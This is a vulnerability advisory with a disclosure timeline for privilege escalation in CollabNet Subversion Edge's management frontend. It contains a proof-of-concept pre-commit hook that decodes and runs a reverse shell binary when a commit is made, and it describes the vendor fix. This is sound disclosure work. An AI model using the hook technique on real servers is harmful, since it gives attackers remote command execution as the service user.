2014-10-09 Flaw Discovered
2014-10-20 Vendor contacted
2014-10-21 Vendor response
2014-12-08 Vendor fix proposal
2014-12-08 Extension of embargo to 19.4.2015
2015-05-04 Extension of embargo until release of version 5.0
2015-05-18 Release of version 5.0 and public disclosure
Summary:
The CollabNet Subversion Edge Management Frontend allows authenticated
administrators to escalate their privileges by creating and executing hook
scripts. As a result they are able to execute arbitrary commands as the user the
Management Frontend is running under without authenticating with valid
credentials.
POC:
Add a pre commit hook with the following content:
#!/bin/sh
echo "$base64_encoded_reverseshell" | /usr/bin/base64 -d > /tmp/evil
/bin/chmod +x /tmp/evil
/tmp/evil
exit 0
Edit a file of a SVN repository
Do: svn commit
Get a reverse shell running as the service user of Subversion Edge
Fix proposal:
Provide a configuration option inaccessible from the Web Gui that disables this
feature.
Addtionally implement an authentication prompt that requires the administrator
to authenticate as the user running (which is typically a service user)
the management frontend web app for performing actions on hook scripts.
Vendor fix:
The hook script editor is now disabled by default. It is enabled via the
security.properties file